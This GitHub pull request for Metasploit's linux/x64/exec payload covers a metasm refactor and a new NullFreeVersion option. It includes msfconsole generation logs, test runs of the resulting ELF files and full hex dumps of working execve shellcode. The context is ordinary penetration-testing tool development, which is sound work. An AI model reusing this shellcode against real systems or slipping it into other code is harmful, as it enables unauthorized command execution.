Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

payloads/x64: exec.rb - refactoring, metasm, new NullFreeVersion option #15028

Merged
merged 3 commits into from
Apr 13, 2021

Conversation

geyslan
Copy link
Contributor

@geyslan geyslan commented Apr 10, 2021

This PR (similar to #14661) converts shellcode to metasm and make it more efficient, resulting in its size being reduced to 37 bytes + CMD length.

It adds new behaviour to CMD option.

Now if CMD is empty or unset, a 21 byte not null-free execve payload is built.
The arbitrary command option continues the same when CMD is set.

It also adds the OptBool NullFreeVersion advanced option.

Its default value is false. When set as true, generate will output a
self included null-free version of the payload without need of encoding.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use payload/linux/x86/exec
  • options
  • advanced
  • unset CMD
  • Test it generate -f elf -o exec64.elf
  • set NullFreeVersion true
  • Test it generate -f elf -o exec64.elf
  • set NullFreeVersion false
  • Set your arbitrary command set CMD uname -a
  • Test it generate -f elf -o exec64.elf
  • set NullFreeVersion true
  • Test it generate -f elf -o exec64.elf

This patch converts shellcode to metasm and make it more efficient, resulting
in its size being reduced to 37 bytes + CMD length.

Signed-off-by: Geyslan G. Bem <geyslan@gmail.com>
This patch adds new behaviour to CMD option.

Now if CMD is empty or unset, a 21 byte not null-free execve payload is built.
The arbitrary command option continues the same when CMD is set.

It also adds the OptBool NullFreeVersion advanced option.

Its default value is false. When set as true, generate will output a
self included null-free version of the payload without need of encoding.

Signed-off-by: Geyslan G. Bem <geyslan@gmail.com>
@geyslan geyslan changed the title Payloads/x64 payloads/x64: exec.rb Apr 10, 2021
@geyslan geyslan changed the title payloads/x64: exec.rb payloads/x64: exec.rb refactoring, metasm, new NullFreeVersion option Apr 10, 2021
@geyslan geyslan changed the title payloads/x64: exec.rb refactoring, metasm, new NullFreeVersion option payloads/x64: exec.rb - refactoring, metasm, new NullFreeVersion option Apr 10, 2021
@sempervictus
Copy link
Contributor

Neat, thank you @geyslan, pulling in for testing.

@gwillcox-r7 gwillcox-r7 self-assigned this Apr 12, 2021
Copy link
Contributor

@gwillcox-r7 gwillcox-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Overall this looks good, just had a few places where I think the comments might need to be cleared up for clarity. I also wanted to double check on the use of db vs dw for storing the command string.

modules/payloads/singles/linux/x64/exec.rb Outdated Show resolved Hide resolved
modules/payloads/singles/linux/x64/exec.rb Outdated Show resolved Hide resolved
modules/payloads/singles/linux/x64/exec.rb Show resolved Hide resolved
modules/payloads/singles/linux/x64/exec.rb Outdated Show resolved Hide resolved
modules/payloads/singles/linux/x64/exec.rb Outdated Show resolved Hide resolved
modules/payloads/singles/linux/x64/exec.rb Outdated Show resolved Hide resolved
@gwillcox-r7
Copy link
Contributor

Alright main issue I was waiting on has been resolved so I'll push the comment updates to your branch now and then test and land this PR assuming all the tests pass as expected.

Copy link
Contributor

@gwillcox-r7 gwillcox-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just some general comments on how we could save an extra byte or two given what I saw when commenting. Let me know what you think 👍

modules/payloads/singles/linux/x64/exec.rb Show resolved Hide resolved
modules/payloads/singles/linux/x64/exec.rb Show resolved Hide resolved
@gwillcox-r7
Copy link
Contributor

Alright looks good for testing thanks for the help and info here!

@gwillcox-r7
Copy link
Contributor

Okay looks like the ones without a command are working brilliantly so no issues there:

msf6 payload(linux/x86/exec) > use payload/linux/x64/exec
msf6 payload(linux/x64/exec) > unset CMD
Unsetting CMD...
msf6 payload(linux/x64/exec) > generate -f elf -o exec64.elf
[*] Writing 141 bytes to exec64.elf...
msf6 payload(linux/x64/exec) > set NullFreeVersion true
NullFreeVersion => true
msf6 payload(linux/x64/exec) > generate -f elf -o exec64_null_free.elf
[*] Writing 142 bytes to exec64_null_free.elf...
msf6 payload(linux/x64/exec) > set NullFreeVersion false
NullFreeVersion => false
msf6 payload(linux/x64/exec) > generate -f elf -o exec64_not_null_free.elf
[*] Writing 141 bytes to exec64_not_null_free.elf...
msf6 payload(linux/x64/exec) > 

And the execution results:

 ~/git/metasploit-framework │ land-pr15028:pr/15028 ?11  chmod +x exec64.elf                                       ✔ │ 2.7.2 Ruby 
 ~/git/metasploit-framework │ land-pr15028:pr/15028 ?11  chmod +x exec64_n*                                        ✔ │ 2.7.2 Ruby 
 ~/git/metasploit-framework │ land-pr15028:pr/15028 ?11  ./exec64.elf                                              ✔ │ 2.7.2 Ruby 
$ whoami
gwillcox
$ exit
 ~/git/metasploit-framework │ land-pr15028:pr/15028 ?11  ./exec64_null_free.elf                               ✔ │ 3s │ 2.7.2 Ruby 
$ whoami
gwillcox
$ exit
 ~/git/metasploit-framework │ land-pr15028:pr/15028 ?11  ./exec64_not_null_free.elf                                ✔ │ 2.7.2 Ruby 
$ whoami
gwillcox
$ exit
 ~/git/metasploit-framework │ land-pr15028:pr/15028 ?11       

@gwillcox-r7
Copy link
Contributor

And with a command also works well:

msf6 payload(linux/x64/exec) > set CMD uname -a
CMD => uname -a
msf6 payload(linux/x64/exec) > generate -f elf -o exec64_uname.elf
[*] Writing 165 bytes to exec64_uname.elf...
msf6 payload(linux/x64/exec) > set NullFreeVersion true
NullFreeVersion => true
msf6 payload(linux/x64/exec) > generate -f elf -o exec64_uname_null_free.elf
[*] Writing 176 bytes to exec64_uname_null_free.elf...
msf6 payload(linux/x64/exec) >
 ~/git/metasploit-framework │ land-pr15028:pr/15028 ?13  ./exec64_uname.elf                                    127 х │ 2.7.2 Ruby 
Linux gwillcox-Virtual-Machine 5.8.0-48-generic #54~20.04.1-Ubuntu SMP Sat Mar 20 13:40:25 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 ~/git/metasploit-framework │ land-pr15028:pr/15028 ?13  ./exec64_uname_null_free.elf                              ✔ │ 2.7.2 Ruby 
Linux gwillcox-Virtual-Machine 5.8.0-48-generic #54~20.04.1-Ubuntu SMP Sat Mar 20 13:40:25 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 ~/git/metasploit-framework │ land-pr15028:pr/15028 ?13     

And as a final confirmation I also dumped the hex output of the shellcode and we can see that the NULL flag does in fact generate shellcode that doesn't contain any NULL bytes:

msf6 payload(linux/x64/exec) > generate -f hex
// linux/x64/exec - 56 bytes
// https://metasploit.com/
// VERBOSE=false, PrependFork=false, PrependSetresuid=false, 
// PrependSetreuid=false, PrependSetuid=false, 
// PrependSetresgid=false, PrependSetregid=false, 
// PrependSetgid=false, PrependChrootBreak=false, 
// AppendExit=false, MeterpreterDebugLevel=0, 
// RemoteMeterpreterDebugFile=, CMD=uname -a, 
// NullFreeVersion=true
48b82f2f62696e2f736899eb1e5d525bb30888142b5266682d63545e5250545f52555657545e6a3b580f05e8ddffffff756e616d65202d61
msf6 payload(linux/x64/exec) > set NullFreeVersion false
NullFreeVersion => false
msf6 payload(linux/x64/exec) > generate -f hex
// linux/x64/exec - 45 bytes
// https://metasploit.com/
// VERBOSE=false, PrependFork=false, PrependSetresuid=false, 
// PrependSetreuid=false, PrependSetuid=false, 
// PrependSetresgid=false, PrependSetregid=false, 
// PrependSetgid=false, PrependChrootBreak=false, 
// AppendExit=false, MeterpreterDebugLevel=0, 
// RemoteMeterpreterDebugFile=, CMD=uname -a, 
// NullFreeVersion=false
48b82f62696e2f7368009950545f5266682d63545e52e809000000756e616d65202d61005657545e6a3b580f05
msf6 payload(linux/x64/exec) > unset CMD
Unsetting CMD...
msf6 payload(linux/x64/exec) > generate -f hex
// linux/x64/exec - 21 bytes
// https://metasploit.com/
// VERBOSE=false, PrependFork=false, PrependSetresuid=false, 
// PrependSetreuid=false, PrependSetuid=false, 
// PrependSetresgid=false, PrependSetregid=false, 
// PrependSetgid=false, PrependChrootBreak=false, 
// AppendExit=false, MeterpreterDebugLevel=0, 
// RemoteMeterpreterDebugFile=, NullFreeVersion=false
48b82f62696e2f7368009950545f525e6a3b580f05
msf6 payload(linux/x64/exec) > set NullFreeVersion true
NullFreeVersion => true
msf6 payload(linux/x64/exec) > generate -f hex
// linux/x64/exec - 22 bytes
// https://metasploit.com/
// VERBOSE=false, PrependFork=false, PrependSetresuid=false, 
// PrependSetreuid=false, PrependSetuid=false, 
// PrependSetresgid=false, PrependSetregid=false, 
// PrependSetgid=false, PrependChrootBreak=false, 
// AppendExit=false, MeterpreterDebugLevel=0, 
// RemoteMeterpreterDebugFile=, NullFreeVersion=true
48b82f2f62696e2f7368995250545f525e6a3b580f05
msf6 payload(linux/x64/exec) > 

This is all good to land, will get this in now.

@gwillcox-r7 gwillcox-r7 merged commit 552c0e7 into rapid7:master Apr 13, 2021
@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Apr 13, 2021

Release Notes

Updated the payloads/singles/linux/x64/exec payload to be more efficient, thereby reducing the total shellcode size. Additionally, support has been added for generating NULL byte free shellcode, and the code has been refactored to use Metasm to make it easier to understand.

@geyslan geyslan deleted the payloads/x64 branch May 29, 2023 22:29
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants